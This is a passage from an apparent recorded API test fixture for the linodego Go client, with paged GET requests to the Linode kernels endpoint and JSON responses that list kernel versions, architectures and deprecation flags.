"x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86_64-linode63", "label": "4.4.0-x86_64-linode63", "version": "4.4.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode61", "label": "4.1.5-x86_64-linode61", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode60", "label": "4.1.5-x86_64-linode60 ", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86_64-linode59", "label": "4.1.0-x86_64-linode59 ", "version": "4.1.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86_64-linode58", "label": "4.0.5-x86_64-linode58", "version": "4.0.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86_64-linode57", "label": "4.0.4-x86_64-linode57", "version": "4.0.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86_64-linode56", "label": "4.0.2-x86_64-linode56", "version": "4.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.1-x86_64-linode55", "label": "4.0.1-x86_64-linode55", "version": "4.0.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86_64-linode54", "label": "4.0-x86_64-linode54", "version": "4.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86_64-linode53", "label": "3.19.1-x86_64-linode53", "version": "3.19.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86_64-linode52", "label": "3.18.5-x86_64-linode52", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86_64-linode51", "label": "3.18.3-x86_64-linode51", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86_64-linode50", "label": "3.18.1-x86_64-linode50", "version": "3.18.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86_64-linode49", "label": "3.16.7-x86_64-linode49", "version": "3.16.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86_64-linode46", "label": "3.16.5-x86_64-linode46", "version": "3.16.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86_64-linode45", "label": "3.15.4-x86_64-linode45", "version": "3.15.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86_64-linode44", "label": "3.15.3-x86_64-linode44", "version": "3.15.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86_64-linode43", "label": "3.15.2-x86_64-linode43", "version": "3.15.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode42", "label": "3.14.5-x86_64-linode42", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode41", "label": "3.14.5-x86_64-linode41", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86_64-linode40", "label": "3.14.4-x86_64-linode40", "version": "3.14.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86_64-linode39", "label": "3.14.1-x86_64-linode39", "version": "3.14.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86_64-linode38", "label": "3.13.7-x86_64-linode38", "version": "3.13.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86_64-linode37", "label": "3.12.9-x86_64-linode37", "version": "3.12.9", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86_64-linode36", "label": "3.12.6-x86_64-linode36", "version": "3.12.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86_64-linode35", "label": "3.11.6-x86_64-linode35", "version": "3.11.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86_64-linode34", "label": "3.10.3-x86_64-linode34", "version": "3.10.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86_64-linode33", "label": "3.9.3-x86_64-linode33", "version": "3.9.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86_64-linode32", "label": "3.9.2-x86_64-linode32", "version": "3.9.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-x86_64-linode31", "label": "3.8.4-x86_64-linode31", "version": "3.8.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-x86_64-linode30", "label": "3.7.10-x86_64-linode30", "version": "3.7.10", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-x86_64-linode29", "label": "3.7.5-x86_64-linode29", "version": "3.7.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-x86_64-linode28", "label": "3.6.5-x86_64-linode28", "version": "3.6.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-x86_64-linode27", "label": "3.5.3-x86_64-linode27", "version": "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 3, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: body: '{"data": [{"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-x86_64-linode6", "label": "2.6.29-x86_64-linode6", "version": "2.6.29", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-x86_64-linode5", "label": "2.6.28.3-x86_64-linode5", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-x86_64-linode4", "label": "2.6.28-x86_64-linode4", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-x86_64-linode3", "label": "2.6.27.4-x86_64-linode3", "version": "2.6.27", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.16.38-x86_64-linode2", "label": "2.6.16.38-x86_64-linode2", "version": "2.6.16", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode1", "label": "2.6.18.8-x86_64-linode1", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-x86_64-linode26", "label": "3.5.2-x86_64-linode26", "version": "3.5.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub2", "label": "GRUB 2", "version": "2.06", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/direct-disk", "label": "Direct Disk", "version": "", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub-legacy", "label": "GRUB (Legacy)", "version": "2.0.0", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_32", "label": "pv-grub-x86_32", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=1 method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86_64-linode164", "label": "6.8.9-x86_64-linode164", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86-linode184", "label": "6.8.9-x86-linode184", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86_64-linode163", "label": "6.7.9-x86_64-linode163", "version": "6.7.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86-linode183", "label": "6.7.9-x86-linode183", "version": "6.7.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86_64-linode162", "label": "6.4.9-x86_64-linode162", "version": "6.4.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86-linode182", "label": "6.4.9-x86-linode182", "version": "6.4.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86_64-linode161", "label": "6.3.5-x86_64-linode161", "version": "6.3.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86-linode181", "label": "6.3.5-x86-linode181", "version": "6.3.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", "label": "5.19.2-x86-linode176", "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86_64-linode155", "label": "5.18.2-x86_64-linode155", "version": "5.18.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86-linode175", "label": "5.18.2-x86-linode175", "version": "5.18.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86-linode174", "label": "5.17.5-x86-linode174", "version": "5.17.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86-linode173", "label": "5.16.13-x86-linode173", "version": "5.16.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86_64-linode153", "label": "5.16.13-x86_64-linode153", "version": "5.16.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86_64-linode152", "label": "5.16.3-x86_64-linode152", "version": "5.16.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86-linode172", "label": "5.16.3-x86-linode172", "version": "5.16.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86_64-linode151", "label": "5.15.10-x86_64-linode151", "version": "5.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86-linode171", "label": "5.15.10-x86-linode171", "version": "5.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86_64-linode150", "label": "5.14.17-x86_64-linode150", "version": "5.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86-linode170", "label": "5.14.17-x86-linode170", "version": "5.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86_64-linode149", "label": "5.14.15-x86_64-linode149", "version": "5.14.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86-linode169", "label": "5.14.15-x86-linode169", "version": "5.14.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86_64-linode148", "label": "5.14.14-x86_64-linode148", "version": "5.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86-linode168", "label": "5.14.14-x86-linode168", "version": "5.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86_64-linode147", "label": "5.14.2-x86_64-linode147", "version": "5.14.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86-linode167", "label": "5.14.2-x86-linode167", "version": "5.14.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86_64-linode146", "label": "5.13.4-x86_64-linode146", "version": "5.13.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86-linode166", "label": "5.13.4-x86-linode166", "version": "5.13.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86_64-linode145", "label": "5.12.13-x86_64-linode145", "version": "5.12.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86-linode165", "label": "5.12.13-x86-linode165", "version": "5.12.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86_64-linode144", "label": "5.12.2-x86_64-linode144", "version": "5.12.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86-linode164", "label": "5.12.2-x86-linode164", "version": "5.12.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86_64-linode143", "label": "5.11.13-x86_64-linode143", "version": "5.11.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86-linode163", "label": "5.11.13-x86-linode163", "version": "5.11.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86_64-linode142", "label": "5.11.9-x86_64-linode142", "version": "5.11.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86-linode162", "label": "5.11.9-x86-linode162", "version": "5.11.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86_64-linode141", "label": "5.10.13-x86_64-linode141", "version": "5.10.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86-linode161", "label": "5.10.13-x86-linode161", "version": "5.10.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86_64-linode140", "label": "5.10.2-x86_64-linode140", "version": "5.10.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86-linode160", "label": "5.10.2-x86-linode160", "version": "5.10.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86_64-linode139", "label": "5.9.6-x86_64-linode139", "version": "5.9.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86-linode159", "label": "5.9.6-x86-linode159", "version": "5.9.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86-linode158", "label": "5.8.10-x86-linode158", "version": "5.8.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.10-x86_64-linode138", "label": "5.8.10-x86_64-linode138", "version": "5.8.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86_64-linode137", "label": "5.8.3-x86_64-linode137", "version": "5.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.8.3-x86-linode157", "label": "5.8.3-x86-linode157", "version": "5.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86-linode156", "label": "5.7.6-x86-linode156", "version": "5.7.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86-linode155", "label": "5.6.14-x86-linode155", "version": "5.6.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86-linode154", "label": "5.6.1-x86-linode154", "version": "5.6.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86-linode152", "label": "5.4.10-x86-linode152", "version": "5.4.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86-linode151", "label": "5.3.11-x86-linode151", "version": "5.3.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86-linode150", "label": "5.3.7-x86-linode150", "version": "5.3.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86-linode149", "label": "5.2.9-x86-linode149", "version": "5.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86-linode148", "label": "5.1.17-x86-linode148", "version": "5.1.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86-linode147", "label": "5.1.11-x86-linode147", "version": "5.1.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86-linode146", "label": "5.1.5-x86-linode146", "version": "5.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86-linode145", "label": 